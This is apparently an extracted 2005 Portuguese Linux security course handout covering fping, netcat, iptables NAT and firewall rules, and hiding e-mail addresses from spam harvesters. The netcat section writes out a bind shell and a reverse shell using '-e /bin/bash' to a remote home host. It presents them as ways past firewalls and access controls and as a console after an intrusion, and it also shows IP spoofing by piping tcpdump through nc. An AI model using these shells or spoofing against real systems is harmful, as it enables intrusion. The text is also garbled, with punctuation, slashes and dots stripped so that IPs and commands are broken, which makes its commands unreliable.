-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 27: Curso de segurança em linux e redes em geral

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf 